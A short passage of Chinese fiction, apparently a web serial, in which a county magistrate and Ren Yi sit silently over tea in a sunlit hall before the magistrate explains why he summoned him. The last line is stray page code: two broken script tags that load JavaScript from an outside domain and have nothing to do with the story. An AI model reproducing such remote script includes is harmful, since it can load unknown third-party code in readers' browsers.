方才门外的喧嚣、争执、尴尬,还有那些客套的奉承,仿佛都被这扇木门,隔绝在了另一个世界,和这里没有半点关系。
阳光透过高高的窗棂,洒进大堂里,在地上投下一块块整齐的光格,细微的尘埃,在光柱里静静飞舞,慢悠悠的,没有一点匆忙。
一片近乎凝滞的寂静,慢慢弥漫开来,笼罩了整个大堂。除了茶盏里升起的水汽,无声地扭曲、消散,再也没有别的声音。
县令端起面前的茶盏,用嘴唇轻轻吹了吹水面上的浮沫,却没有立刻喝,目光一直落在任弋身上,眼神微微闪烁,像是在斟酌,该怎么开口,该从哪里说起才好。
任弋也端起自己面前的茶盏,指腹感受着瓷壁传来的温热,驱散了些许春日的微凉。他目光平静地回望过去,没有主动开口催促,神色从容,仿佛一点都不着急知道,县令找他的目的。
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">